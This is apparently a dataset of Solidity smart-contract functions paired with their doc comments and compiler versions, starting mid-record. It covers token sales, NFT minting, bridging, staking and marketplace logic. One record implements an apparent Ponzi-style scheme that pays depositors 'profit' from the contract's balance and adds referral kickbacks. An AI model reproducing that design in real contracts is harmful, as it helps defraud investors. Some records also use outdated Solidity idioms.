security/no-inline-assembly\r\n assembly {\r\n bs := mload(add(data, add(32, offset)))\r\n }\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @notice Computes the fees.\r\n * @param _contentSize Size of the content of the block to be stored\r\n * @return the expected amount of fees in wei\r\n */", "function_code": "function getFeesAmount(uint256 _contentSize)\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n // Transactions fee\r\n uint256 computedAllFee = _contentSize.mul(rateFeesNumerator);\r\n\r\n if (rateFeesDenominator != 0) {\r\n computedAllFee = computedAllFee.div(rateFeesDenominator);\r\n }\r\n\r\n if (computedAllFee <= minimumFee) {\r\n return minimumFee;\r\n } else {\r\n return computedAllFee;\r\n }\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @notice Submit a new hash to the blockchain.\r\n *\r\n * @param _hash Hash of the request to be stored\r\n * @param _feesParameters fees parameters used to compute the fees. Here, it is the content size in an uint256\r\n */", "function_code": "function submitHash(string calldata _hash, bytes calldata _feesParameters)\r\n external\r\n payable\r\n {\r\n // extract the contentSize from the _feesParameters\r\n uint256 contentSize = uint256(Bytes.extractBytes32(_feesParameters, 0));\r\n\r\n // Check fees are paid\r\n require(getFeesAmount(contentSize) == msg.value, \"msg.value does not match the fees\");\r\n\r\n // Send fees to burner, throws on failure\r\n collectForREQBurning(msg.value);\r\n\r\n // declare the hash to the whole system through to RequestHashStorage\r\n requestHashStorage.declareNewHash(_hash, _feesParameters);\r\n }", "version": "0.5.0"} {"comment": "// compressBoard removes last col and last row and joins digits into one number.", "function_code": "function compressBoard(uint[81] _b) constant returns (uint) {\r\n uint cb = 0;\r\n uint mul = 1000000000000000000000000000000000000000000000000000000000000000;\r\n for (uint i = 0; i < 72; i++) {\r\n if (i % 9 == 8) {\r\n continue;\r\n }\r\n cb = cb + mul * _b[i];\r\n mul = mul / 10;\r\n }\r\n return cb;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * @dev Add Account to User Linked List.\r\n * @param _owner Account Owner.\r\n * @param _account Smart Account Address.\r\n */", "function_code": "function addAccount(address _owner, uint64 _account) internal {\r\n if (userLink[_owner].last != 0) {\r\n userList[_owner][_account].prev = userLink[_owner].last;\r\n userList[_owner][userLink[_owner].last].next = _account;\r\n }\r\n if (userLink[_owner].first == 0) userLink[_owner].first = _account;\r\n userLink[_owner].last = _account;\r\n userLink[_owner].count = add(userLink[_owner].count, 1);\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * @dev Remove Account from User Linked List.\r\n * @param _owner Account Owner/User.\r\n * @param _account Smart Account Address.\r\n */", "function_code": "function removeAccount(address _owner, uint64 _account) internal {\r\n uint64 _prev = userList[_owner][_account].prev;\r\n uint64 _next = userList[_owner][_account].next;\r\n if (_prev != 0) userList[_owner][_prev].next = _next;\r\n if (_next != 0) userList[_owner][_next].prev = _prev;\r\n if (_prev == 0) userLink[_owner].first = _next;\r\n if (_next == 0) userLink[_owner].last = _prev;\r\n userLink[_owner].count = sub(userLink[_owner].count, 1);\r\n delete userList[_owner][_account];\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * @dev Remove Owner from Account Linked List.\r\n * @param _owner Account Owner.\r\n * @param _account Smart Account Address.\r\n */", "function_code": "function removeUser(address _owner, uint64 _account) internal {\r\n address _prev = accountList[_account][_owner].prev;\r\n address _next = accountList[_account][_owner].next;\r\n if (_prev != address(0)) accountList[_account][_prev].next = _next;\r\n if (_next != address(0)) accountList[_account][_next].prev = _prev;\r\n if (_prev == address(0)) accountLink[_account].first = _next;\r\n if (_next == address(0)) accountLink[_account].last = _prev;\r\n accountLink[_account].count = sub(accountLink[_account].count, 1);\r\n delete accountList[_account][_owner];\r\n }", "version": "0.6.0"} {"comment": "// Function to mint new NFTs during the presale", "function_code": "function mintDuringPresale(uint256 _numOfTokens) public payable whenNotPaused nonReentrant {\r\n require(isPreSaleActive==true, \"Presale Not Active\");\r\n if(checkWhitelist==true) {\r\n require(presaleAccess[msg.sender] == true, \"Presale Access Denied\");\r\n }\r\n require(presaleClaimed[msg.sender].add(_numOfTokens) <= PRESALE_PURCHASE_LIMIT, \r\n \"Above Presale Purchase Limit\");\r\n require(publicTotalSupply.add(_numOfTokens) <= PUBLIC_NFT, 'Purchase would exceed max NFTs');\r\n require(NFT_PRICE.mul(_numOfTokens) == msg.value, \"Invalid Amount\");\r\n\r\n if(donate==true) {\r\n checkDistribution(_numOfTokens);\r\n }\r\n\r\n for (uint256 i = 0; i < _numOfTokens; i++) {\r\n _safeMint(msg.sender, RESERVE_NFT.add(publicTotalSupply));\r\n publicTotalSupply = publicTotalSupply.add(1);\r\n }\r\n presaleClaimed[msg.sender] = presaleClaimed[msg.sender].add(_numOfTokens);\r\n }", "version": "0.8.4"} {"comment": "// Function to mint new NFTs during the public sale", "function_code": "function mint(uint256 _numOfTokens) public payable whenNotPaused nonReentrant {\r\n require(isMainSaleActive==true, \"Sale Not Active\");\r\n require(mainSaleClaimed[msg.sender].add(_numOfTokens) <= MAINSALE_PURCHASE_LIMIT, \r\n \"Above Main Sale Purchase Limit\");\r\n require(publicTotalSupply.add(_numOfTokens) <= PUBLIC_NFT, \"Purchase would exceed max NFTs\");\r\n require(NFT_PRICE.mul(_numOfTokens) == msg.value, \"Invalid Amount\");\r\n \r\n if(donate==true) {\r\n checkDistribution(_numOfTokens);\r\n }\r\n\r\n for(uint256 i = 0; i < _numOfTokens; i++) {\r\n _mint(msg.sender, RESERVE_NFT.add(publicTotalSupply));\r\n publicTotalSupply = publicTotalSupply.add(1);\r\n }\r\n\r\n mainSaleClaimed[msg.sender] = mainSaleClaimed[msg.sender].add(_numOfTokens);\r\n }", "version": "0.8.4"} {"comment": "// Function to check charity and treasury distribution", "function_code": "function checkDistribution(uint256 _numOfTokens) internal {\r\n if (publicTotalSupply < PUBLIC_NFT && publicTotalSupply.add(_numOfTokens) >= PUBLIC_NFT) {\r\n payable(communityTreasury).transfer(15 ether);\r\n payable(charity).transfer(12 ether);\r\n } else if (publicTotalSupply < 3675 && publicTotalSupply.add(_numOfTokens) >= 3675) {\r\n payable(communityTreasury).transfer(12 ether);\r\n payable(charity).transfer(8 ether);\r\n } else if (publicTotalSupply < 2450 && publicTotalSupply.add(_numOfTokens) >= 2450) {\r\n payable(communityTreasury).transfer(8 ether);\r\n payable(charity).transfer(6 ether);\r\n } else if (publicTotalSupply < 1225 && publicTotalSupply.add(_numOfTokens) >= 1225) {\r\n payable(communityTreasury).transfer(5 ether);\r\n payable(charity).transfer(4 ether);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * Reserve some GALAs for marketing and giveaway purpose.\r\n */", "function_code": "function reserveGiveaway(uint256 quantity) external onlyOwner {\r\n SaleConfig memory config = saleConfig;\r\n bool _publicSaleStarted = config.publicSaleStarted;\r\n bool _wlSaleStarted = config.wlSaleStarted;\r\n uint _reserved = config.reservedAmount;\r\n\r\n // the sale must not be started\r\n require (\r\n _publicSaleStarted == false && _wlSaleStarted == false,\r\n \"The Reserve phase should only happen before the sale started!\"\r\n );\r\n\r\n require(totalSupply() + quantity <= _reserved, \"Exceeded giveaway supply\");\r\n\r\n _safeMint(msg.sender, quantity);\r\n }", "version": "0.8.1"} {"comment": "// mint a tx from clover to bsc chain\n// note here we use the blockNumber + txIndex instead of txHash to identify the transaction\n// because tx hash is not guarantee to be unique in substrate based chains.\n// refer to: https://wiki.polkadot.network/docs/en/build-protocol-info#unique-identifiers-for-extrinsics", "function_code": "function mintTx(\n uint32 blockNumber,\n uint32 txIndex,\n address dest,\n uint256 amount\n ) public returns (bool) {\n require(\n hasRole(BRIDGE_ROLE, _msgSender()),\n \"CloverBridge: must have bridge role\"\n );\n require(dest != address(0), \"SakuraBridge: invalid address\");\n require(dest != address(this), \"SakuraBridge: invalid dest address\");\n require(\n _token.balanceOf(address(this)) >= amount,\n \"SakuraBridge: balance is not enough in the bridge contract!\"\n );\n\n uint64 txKey = getTxKey(blockNumber, txIndex);\n // check whether this tx is minted\n require(!_mintedTxs[txKey], \"SakuraBridge: tx already minted!\");\n\n // transfer might fail with some reason\n // e.g. the transfer is paused in the token contract\n require(\n _token.transfer(dest, amount),\n \"SakuraBridge: transfer failed!\"\n );\n _mintedTxs[txKey] = true;\n\n emit TxMinted(blockNumber, txIndex, dest, amount);\n return true;\n }", "version": "0.8.0"} {"comment": "/*\r\n \tfunction selleth(uint amount) public payable {\r\n \t //address user = msg.sender;\r\n \t //canOf[user] = myuseOf(user);\r\n \t //require(balances[user] >= amount );\r\n \t //uint money = amount * sellPrice;\r\n \t // balances[msg.sender] += money;\r\n \t owner.transfer(amount);\r\n \t}*/", "function_code": "function sell(uint256 amount) public returns(bool success) {\r\n\t\t//address user = msg.sender;\r\n\t\t//canOf[msg.sender] = myuseOf(msg.sender);\r\n\t\t//require(!frozenAccount[msg.sender]);\r\n\t\tuint256 canuse = getcanuse(msg.sender);\r\n\t\trequire(canuse >= amount);\r\n\t\tuint moneys = amount / sellPrice;\r\n\t\trequire(msg.sender.send(moneys));\r\n\t\tbalances[msg.sender] -= amount;\r\n\t\tbalances[this] += amount;\r\n\t\t//_totalSupply += amount;\r\n\t\t//canOf[msg.sender] -= amount;\r\n\t\t\r\n\t\t//this.transfer(moneys);Transfer(this, msg.sender, revenue); \r\n\t\temit Transfer(this, msg.sender, moneys);\r\n\t\t//canOf[user] -= amount;\r\n\t\treturn(true);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * Multiplication with safety check\r\n */", "function_code": "function Mul(uint a, uint b) constant internal returns (uint) {\r\n uint c = a * b;\r\n //check result should not be other wise until a=0\r\n assert(a == 0 || c / a == b);\r\n return c;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Division with safety check\r\n */", "function_code": "function Div(uint a, uint b) constant internal returns (uint) {\r\n //overflow check; b must not be 0\r\n assert(b > 0);\r\n uint c = a / b;\r\n assert(a == b * c + a % b);\r\n return c;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Subtraction with safety check\r\n */", "function_code": "function Sub(uint a, uint b) constant internal returns (uint) {\r\n //b must be greater that a as we need to store value in unsigned integer\r\n assert(b <= a);\r\n return a - b;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Addition with safety check\r\n */", "function_code": "function Add(uint a, uint b) constant internal returns (uint) {\r\n uint c = a + b;\r\n //result must be greater as a or b can not be negative\r\n assert(c>=a && c>=b);\r\n return c;\r\n }", "version": "0.4.13"} {"comment": "//Contructor to define EXH Token token properties", "function_code": "function EXH() public {\r\n\r\n // lock the transfer function during Sale\r\n locked = true;\r\n\r\n //initial token supply is 0\r\n totalSupply = 0;\r\n\r\n //Name for token set to EXH Token\r\n name = 'EXH Token';\r\n\r\n // Symbol for token set to 'EXH'\r\n symbol = 'EXH';\r\n \r\n decimals = 18;\r\n }", "version": "0.4.13"} {"comment": "//Implementation for transferring EXH Token to provided address ", "function_code": "function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public onlyUnlocked returns (bool){\r\n\r\n //Check provided EXH Token should not be 0\r\n if (_value > 0 && !(_to == address(0))) {\r\n //deduct EXH Token amount from transaction initiator\r\n balances[msg.sender] = balances[msg.sender].Sub(_value);\r\n //Add EXH Token to balace of target account\r\n balances[_to] = balances[_to].Add(_value);\r\n //Emit event for transferring EXH Token\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }\r\n else{\r\n return false;\r\n }\r\n }", "version": "0.4.13"} {"comment": "//Transfer initiated by spender ", "function_code": "function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) public onlyUnlocked returns (bool) {\r\n\r\n //Check provided EXH Token should not be 0\r\n if (_value > 0 && (_to != address(0) && _from != address(0))) {\r\n //Get amount of EXH Token for which spender is authorized\r\n var _allowance = allowed[_from][msg.sender];\r\n //Add amount of EXH Token in trarget account's balance\r\n balances[_to] = balances[_to].Add( _value);\r\n //Deduct EXH Token amount from _from account\r\n balances[_from] = balances[_from].Sub( _value);\r\n //Deduct Authorized amount for spender\r\n allowed[_from][msg.sender] = _allowance.Sub( _value);\r\n //Emit event for Transfer\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "version": "0.4.13"} {"comment": "/*\r\n * To start Sale from Presale\r\n */", "function_code": "function start() public onlyOwner {\r\n //Set block number to current block number\r\n assert(startBlock == 0);\r\n startBlock = now; \r\n //Set end block number\r\n endBlock = now.Add(durationCrowdSale.Add(durationPreSale));\r\n //Sale presale is started\r\n crowdsaleStatus = 1;\r\n //Emit event when crowdsale state changes\r\n StateChanged(true); \r\n }", "version": "0.4.13"} {"comment": "/*\r\n * To start Crowdsale\r\n */", "function_code": "function startSale() public onlyOwner\r\n {\r\n if(now > startBlock.Add(durationPreSale) && now <= endBlock){\r\n crowdsaleStatus = 1;\r\n crowdSaleType = 1;\r\n if(crowdSaleType != 1)\r\n {\r\n totalSupplyCrowdsale = totalSupplyPreSale;\r\n }\r\n //Emit event when crowdsale state changes\r\n StateChanged(true); \r\n }\r\n else\r\n revert();\r\n }", "version": "0.4.13"} {"comment": "/*\r\n * To extend duration of Crowdsale\r\n */", "function_code": "function updateDuration(uint time) public onlyOwner\r\n {\r\n require(time != 0);\r\n assert(startBlock != 0);\r\n assert(crowdSaleType == 1 && crowdsaleStatus != 2);\r\n durationCrowdSale = durationCrowdSale.Add(time);\r\n endBlock = endBlock.Add(time);\r\n //Emit event when crowdsale state changes\r\n StateChanged(true);\r\n }", "version": "0.4.13"} {"comment": "/*\r\n * To enable vesting of B type EXH Token\r\n */", "function_code": "function MintAndTransferToken(address beneficiary,uint exhToCredit,bytes32 comment) external onlyOwner {\r\n //Available after the crowdsale is started\r\n assert(startBlock != 0);\r\n //Check whether tokens are available or not\r\n assert(totalSupplyMintTransfer <= maxCapMintTransfer);\r\n //Check whether the amount of token are available to transfer\r\n require(totalSupplyMintTransfer.Add(exhToCredit) <= maxCapMintTransfer);\r\n //Update EXH Token balance for beneficiary\r\n balances[beneficiary] = balances[beneficiary].Add(exhToCredit);\r\n //Update total supply for EXH Token\r\n totalSupply = totalSupply.Add(exhToCredit);\r\n //update total supply for EXH token in mint and transfer\r\n totalSupplyMintTransfer = totalSupplyMintTransfer.Add(exhToCredit);\r\n // send event for transferring EXH Token on offline payment\r\n MintAndTransferEXH(beneficiary, exhToCredit,comment);\r\n //Emit event when crowdsale state changes\r\n StateChanged(true); \r\n }", "version": "0.4.13"} {"comment": "/*\r\n * To get price for EXH Token\r\n */", "function_code": "function getPrice() public constant returns (uint result) {\r\n if (crowdSaleType == 0) {\r\n return (PRICE.Mul(100)).Div(70);\r\n }\r\n if (crowdSaleType == 1) {\r\n uint crowdsalePriceBracket = 1 weeks;\r\n uint startCrowdsale = startBlock.Add(durationPreSale);\r\n if (now > startCrowdsale && now <= startCrowdsale.Add(crowdsalePriceBracket)) {\r\n return ((PRICE.Mul(100)).Div(80));\r\n }else if (now > startCrowdsale.Add(crowdsalePriceBracket) && now <= (startCrowdsale.Add(crowdsalePriceBracket.Mul(2)))) {\r\n return (PRICE.Mul(100)).Div(85);\r\n }else if (now > (startCrowdsale.Add(crowdsalePriceBracket.Mul(2))) && now <= (startCrowdsale.Add(crowdsalePriceBracket.Mul(3)))) {\r\n return (PRICE.Mul(100)).Div(90);\r\n }else if (now > (startCrowdsale.Add(crowdsalePriceBracket.Mul(3))) && now <= (startCrowdsale.Add(crowdsalePriceBracket.Mul(4)))) {\r\n return (PRICE.Mul(100)).Div(95);\r\n }\r\n }\r\n return PRICE;\r\n }", "version": "0.4.13"} {"comment": "/*\r\n * Finalize the crowdsale\r\n */", "function_code": "function finalize() public onlyOwner {\r\n //Make sure Sale is running\r\n assert(crowdsaleStatus==1 && crowdSaleType==1);\r\n // cannot finalise before end or until maxcap is reached\r\n assert(!((totalSupplyCrowdsale < maxCap && now < endBlock) && (maxCap.Sub(totalSupplyCrowdsale) >= valueOneEther))); \r\n //Indicates Sale is ended\r\n \r\n //Checks if the fundraising goal is reached in crowdsale or not\r\n if (totalSupply < 5300000e18)\r\n refundStatus = 2;\r\n else\r\n refundStatus = 1;\r\n \r\n //crowdsale is ended\r\n crowdsaleStatus = 2;\r\n //Emit event when crowdsale state changes\r\n StateChanged(true);\r\n }", "version": "0.4.13"} {"comment": "/*\r\n * Refund the investors in case target of crowdsale not achieved\r\n */", "function_code": "function refund() public onlyOwner {\r\n assert(refundStatus == 2);\r\n uint batchSize = countInvestorsRefunded.Add(50) < countTotalInvestors ? countInvestorsRefunded.Add(50): countTotalInvestors;\r\n for(uint i=countInvestorsRefunded.Add(1); i <= batchSize; i++){\r\n address investorAddress = investorList[i];\r\n Investor storage investorStruct = investors[investorAddress];\r\n //If purchase has been made during CrowdSale\r\n if(investorStruct.exhSentCrowdsaleType1 > 0 && investorStruct.exhSentCrowdsaleType1 <= balances[investorAddress]){\r\n //return everything\r\n investorAddress.transfer(investorStruct.weiReceivedCrowdsaleType1);\r\n //Reduce ETHReceived\r\n ETHReceived = ETHReceived.Sub(investorStruct.weiReceivedCrowdsaleType1);\r\n //Update totalSupply\r\n totalSupply = totalSupply.Sub(investorStruct.exhSentCrowdsaleType1);\r\n // reduce balances\r\n balances[investorAddress] = balances[investorAddress].Sub(investorStruct.exhSentCrowdsaleType1);\r\n //set everything to zero after transfer successful\r\n investorStruct.weiReceivedCrowdsaleType1 = 0;\r\n investorStruct.exhSentCrowdsaleType1 = 0;\r\n countInvestorsRefundedInCrowdsale = countInvestorsRefundedInCrowdsale.Add(1);\r\n }\r\n }\r\n //Update the number of investors that have recieved refund\r\n countInvestorsRefunded = batchSize;\r\n StateChanged(true);\r\n }", "version": "0.4.13"} {"comment": "// ------------------------------------------------------------------------\n// Allocate a particular amount of tokens from onwer to an account\n// ------------------------------------------------------------------------", "function_code": "function allocate(address to, uint amount) public onlyOwner {\r\n require(to != address(0));\r\n require(!frozenAccount[to]);\r\n require(!halted && amount > 0);\r\n require(balances[owner] >= amount);\r\n\r\n balances[owner] = balances[owner].sub(amount);\r\n balances[to] = balances[to].add(amount);\r\n emit Transfer(address(0), to, amount);\r\n }", "version": "0.4.24"} {"comment": "// calculation of the percentage of profit depending on the balance sheet\n// returns the percentage times 10", "function_code": "function calculateProfitPercent(uint bal) private pure returns (uint) {\r\n if (bal >= 1e22) { // balance >= 10000 ETH\r\n return 50;\r\n }\r\n if (bal >= 7e21) { // balance >= 7000 ETH\r\n return 47;\r\n }\r\n if (bal >= 5e21) { // balance >= 5000 ETH\r\n return 45;\r\n }\r\n if (bal >= 3e21) { // balance >= 3000 ETH\r\n return 42;\r\n }\r\n if (bal >= 1e21) { // balance >= 1000 ETH\r\n return 40;\r\n }\r\n if (bal >= 5e20) { // balance >= 500 ETH\r\n return 35;\r\n }\r\n if (bal >= 2e20) { // balance >= 200 ETH\r\n return 30;\r\n }\r\n if (bal >= 1e20) { // balance >= 100 ETH\r\n return 27;\r\n } else {\r\n return 25;\r\n }\r\n }", "version": "0.4.23"} {"comment": "// transfer default refback and referrer percents of invested", "function_code": "function transferRefPercents(uint value, address sender) private {\r\n if (msg.data.length != 0) {\r\n address referrer = bytesToAddress(msg.data);\r\n if(referrer != sender) {\r\n sender.transfer(value * refBack / 100);\r\n referrer.transfer(value * refPercent / 100);\r\n } else {\r\n defaultReferrer.transfer(value * refPercent / 100);\r\n }\r\n } else {\r\n defaultReferrer.transfer(value * refPercent / 100);\r\n }\r\n }", "version": "0.4.23"} {"comment": "// calculate profit amount as such:\n// amount = (amount invested) * ((percent * 10)/ 1000) * (blocks since last transaction) / 6100\n// percent is multiplied by 10 to calculate fractional percentages and then divided by 1000 instead of 100\n// 6100 is an average block count per day produced by Ethereum blockchain", "function_code": "function () external payable {\r\n if (invested[msg.sender] != 0) {\r\n \r\n uint thisBalance = address(this).balance;\r\n uint amount = invested[msg.sender] * calculateProfitPercent(thisBalance) / 1000 * (block.number - atBlock[msg.sender]) / 6100;\r\n\r\n address sender = msg.sender;\r\n sender.transfer(amount);\r\n }\r\n if (msg.value > 0) {\r\n transferDefaultPercentsOfInvested(msg.value);\r\n transferRefPercents(msg.value, msg.sender);\r\n }\r\n atBlock[msg.sender] = block.number;\r\n invested[msg.sender] += (msg.value);\r\n }", "version": "0.4.23"} {"comment": "/* Listing */", "function_code": "function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public {\r\n for (uint256 i = 0; i < _itemIds.length; i++) {\r\n if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) {\r\n continue;\r\n }\r\n\r\n listItemFromRegistry(_itemIds[i]);\r\n }\r\n }", "version": "0.4.20"} {"comment": "/*\r\n Buy a country directly from the contract for the calculated price\r\n which ensures that the owner gets a profit. All countries that\r\n have been listed can be bought by this method. User funds are sent\r\n directly to the previous owner and are never stored in the contract.\r\n */", "function_code": "function buy (uint256 _itemId) payable public {\r\n require(priceOf(_itemId) > 0);\r\n require(ownerOf(_itemId) != address(0));\r\n require(msg.value >= priceOf(_itemId));\r\n require(ownerOf(_itemId) != msg.sender);\r\n require(!isContract(msg.sender));\r\n require(msg.sender != address(0));\r\n\r\n address oldOwner = ownerOf(_itemId);\r\n address newOwner = msg.sender;\r\n uint256 price = priceOf(_itemId);\r\n uint256 excess = msg.value.sub(price);\r\n\r\n _transfer(oldOwner, newOwner, _itemId);\r\n priceOfItem[_itemId] = nextPriceOf(_itemId);\r\n\r\n Bought(_itemId, newOwner, price);\r\n Sold(_itemId, oldOwner, price);\r\n\r\n // Devevloper's cut which is left in contract and accesed by\r\n // `withdrawAll` and `withdrawAmountTo` methods.\r\n uint256 devCut = calculateDevCut(price);\r\n\r\n // Transfer payment to old owner minus the developer's cut.\r\n oldOwner.transfer(price.sub(devCut));\r\n\r\n if (excess > 0) {\r\n newOwner.transfer(excess);\r\n }\r\n }", "version": "0.4.20"} {"comment": "/// @dev Creates a new pool.", "function_code": "function createPool(IERC20 _token, bool _needVesting, uint256 _vestingDurationInSecs, uint256 _depositLockPeriodInSecs) external onlyGovernance returns (uint256) {\r\n require(tokenPoolIds[_token] == 0, \"StakingPools: token already has a pool\");\r\n\r\n uint256 _poolId = _pools.length();\r\n\r\n _pools.push(Pool.Data({\r\n token: _token,\r\n needVesting: _needVesting,\r\n onReferralBonus: false,\r\n totalDeposited: 0,\r\n rewardWeight: 0,\r\n accumulatedRewardWeight: FixedPointMath.uq192x64(0),\r\n lastUpdatedBlock: block.number,\r\n vestingDurationInSecs: _vestingDurationInSecs,\r\n totalReferralAmount: 0,\r\n accumulatedReferralWeight: FixedPointMath.uq192x64(0),\r\n lockUpPeriodInSecs: _depositLockPeriodInSecs\r\n }));\r\n\r\n tokenPoolIds[_token] = _poolId + 1;\r\n\r\n emit PoolCreated(_poolId, _token, _vestingDurationInSecs, _depositLockPeriodInSecs);\r\n return _poolId;\r\n }", "version": "0.6.10"} {"comment": "/// @dev Stakes tokens into a pool.\n///\n/// @param _poolId the pool to deposit tokens into.\n/// @param _depositAmount the amount of tokens to deposit.\n/// @param referral the address of referral.", "function_code": "function deposit(uint256 _poolId, uint256 _depositAmount, address referral) external nonReentrant checkIfNewReferral(_poolId, referral) {\r\n require(_depositAmount > 0, \"zero deposit\");\r\n\r\n Pool.Data storage _pool = _pools.get(_poolId);\r\n _pool.update(_ctx);\r\n\r\n Stake.Data storage _stake = _stakes[msg.sender][_poolId];\r\n _stake.update(_pool, _ctx);\r\n\r\n address _referral = myReferral[msg.sender][_poolId];\r\n if (_pool.onReferralBonus) {\r\n if (referral != address(0)) {\r\n require (_referral == address(0) || _referral == referral, \"referred already\");\r\n myReferral[msg.sender][_poolId] = referral;\r\n }\r\n\r\n _referral = myReferral[msg.sender][_poolId];\r\n if (_referral != address(0)) {\r\n ReferralPower.Data storage _referralPower = _referralPowers[_referral][_poolId];\r\n _referralPower.update(_pool, _ctx);\r\n }\r\n }\r\n\r\n _deposit(_poolId, _depositAmount, _referral);\r\n }", "version": "0.6.10"} {"comment": "/// @dev Withdraws staked tokens from a pool.\n///\n/// @param _poolId The pool to withdraw staked tokens from.\n/// @param _withdrawAmount The number of tokens to withdraw.", "function_code": "function withdraw(uint256 _poolId, uint256 _withdrawAmount) external nonReentrant {\r\n require(_withdrawAmount > 0, \"to withdraw zero\");\r\n uint256 withdrawAbleAmount = getWithdrawableAmount(_poolId, msg.sender);\r\n require(withdrawAbleAmount >= _withdrawAmount, \"amount exceeds withdrawAble\");\r\n\r\n Pool.Data storage _pool = _pools.get(_poolId);\r\n _pool.update(_ctx);\r\n\r\n Stake.Data storage _stake = _stakes[msg.sender][_poolId];\r\n _stake.update(_pool, _ctx);\r\n\r\n address _referral = _pool.onReferralBonus ? myReferral[msg.sender][_poolId] : address(0);\r\n\r\n if (_pool.onReferralBonus && _referral != address(0)) {\r\n ReferralPower.Data storage _referralPower = _referralPowers[_referral][_poolId];\r\n _referralPower.update(_pool, _ctx);\r\n }\r\n\r\n _claim(_poolId);\r\n _withdraw(_poolId, _withdrawAmount, _referral);\r\n }", "version": "0.6.10"} {"comment": "/// @dev Claims all rewards from a pool and then withdraws all withdrawAble tokens.\n///\n/// @param _poolId the pool to exit from.", "function_code": "function exit(uint256 _poolId) external nonReentrant {\r\n uint256 withdrawAbleAmount = getWithdrawableAmount(_poolId, msg.sender);\r\n require(withdrawAbleAmount > 0, \"all deposited still locked\");\r\n\r\n Pool.Data storage _pool = _pools.get(_poolId);\r\n _pool.update(_ctx);\r\n\r\n Stake.Data storage _stake = _stakes[msg.sender][_poolId];\r\n _stake.update(_pool, _ctx);\r\n\r\n address _referral = _pool.onReferralBonus ? myReferral[msg.sender][_poolId] : address(0);\r\n\r\n if (_pool.onReferralBonus && _referral != address(0)) {\r\n ReferralPower.Data storage _referralPower = _referralPowers[_referral][_poolId];\r\n _referralPower.update(_pool, _ctx);\r\n }\r\n\r\n _claim(_poolId);\r\n _withdraw(_poolId, withdrawAbleAmount, _referral);\r\n }", "version": "0.6.10"} {"comment": "/// @dev To get withdrawable amount that has passed lockup period of a pool", "function_code": "function getWithdrawableAmount(uint256 _poolId, address _account) public view returns (uint256) {\r\n Pool.Data storage _pool = _pools.get(_poolId);\r\n Stake.Data storage _stake = _stakes[_account][_poolId];\r\n uint256 withdrawAble = 0;\r\n\r\n for (uint32 i = 0; i < _stake.deposits.length; i++) {\r\n uint256 unlockTimesteamp = _stake.deposits[i].timestamp.div(SECONDS_PER_DAY).mul(SECONDS_PER_DAY).add(_pool.lockUpPeriodInSecs);\r\n\r\n if (block.timestamp >= unlockTimesteamp) {\r\n withdrawAble = withdrawAble + _stake.deposits[i].amount;\r\n }\r\n }\r\n\r\n return withdrawAble;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @dev Return the URI of the NFT\r\n * @notice return the hidden URI then the Revealed JSON when the Revealed param is true\r\n */", "function_code": "function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\r\n require(_exists(tokenId),\"ERC721Metadata: URI query for nonexistent token\");\r\n \r\n if(_revealed == false) {\r\n return _hideURI;\r\n }\r\n string memory URI = _baseURI();\r\n return bytes(URI).length > 0 ? string(abi.encodePacked(URI, tokenId.toString(), \".json\")) : \"\";\r\n }", "version": "0.8.1"} {"comment": "/// @dev Withdraws staked tokens from a pool.\n///\n/// The pool and stake MUST be updated before calling this function.\n///\n/// @param _poolId The pool to withdraw staked tokens from.\n/// @param _withdrawAmount The number of tokens to withdraw.\n/// @param _referral The referral's address for reducing referral power accumulation.", "function_code": "function _withdraw(uint256 _poolId, uint256 _withdrawAmount, address _referral) internal {\r\n Pool.Data storage _pool = _pools.get(_poolId);\r\n Stake.Data storage _stake = _stakes[msg.sender][_poolId];\r\n\r\n _pool.totalDeposited = _pool.totalDeposited.sub(_withdrawAmount);\r\n _stake.totalDeposited = _stake.totalDeposited.sub(_withdrawAmount);\r\n\r\n // for lockup period\r\n uint256 remainingAmount = _withdrawAmount;\r\n for (uint256 i = 0; i < _stake.deposits.length; i++) {\r\n if (remainingAmount == 0) {\r\n break;\r\n }\r\n uint256 depositAmount = _stake.deposits[i].amount;\r\n uint256 unstakeAmount = depositAmount > remainingAmount\r\n ? remainingAmount : depositAmount;\r\n _stake.deposits[i].amount = depositAmount.sub(unstakeAmount);\r\n remainingAmount = remainingAmount.sub(unstakeAmount);\r\n }\r\n\r\n // for referral\r\n if (_pool.onReferralBonus && _referral != address(0)) {\r\n ReferralPower.Data storage _referralPower = _referralPowers[_referral][_poolId];\r\n _pool.totalReferralAmount = _pool.totalReferralAmount.sub(_withdrawAmount);\r\n _referralPower.totalDeposited = _referralPower.totalDeposited.sub(_withdrawAmount);\r\n }\r\n\r\n _pool.token.safeTransfer(msg.sender, _withdrawAmount);\r\n\r\n emit TokensWithdrawn(msg.sender, _poolId, _withdrawAmount);\r\n }", "version": "0.6.10"} {"comment": "/// @dev Claims all rewarded tokens from a pool.\n///\n/// The pool and stake MUST be updated before calling this function.\n///\n/// @param _poolId The pool to claim rewards from.\n///\n/// @notice use this function to claim the tokens from a corresponding pool by ID.", "function_code": "function _claim(uint256 _poolId) internal {\r\n require(!pause, \"StakingPools: emergency pause enabled\");\r\n\r\n Pool.Data storage _pool = _pools.get(_poolId);\r\n Stake.Data storage _stake = _stakes[msg.sender][_poolId];\r\n\r\n uint256 _claimAmount = _stake.totalUnclaimed;\r\n _stake.totalUnclaimed = 0;\r\n\r\n if(_pool.needVesting){\r\n reward.approve(address(rewardVesting),uint(-1));\r\n rewardVesting.addEarning(msg.sender, _claimAmount, _pool.vestingDurationInSecs);\r\n } else {\r\n reward.safeTransfer(msg.sender, _claimAmount);\r\n }\r\n\r\n emit TokensClaimed(msg.sender, _poolId, _claimAmount);\r\n }", "version": "0.6.10"} 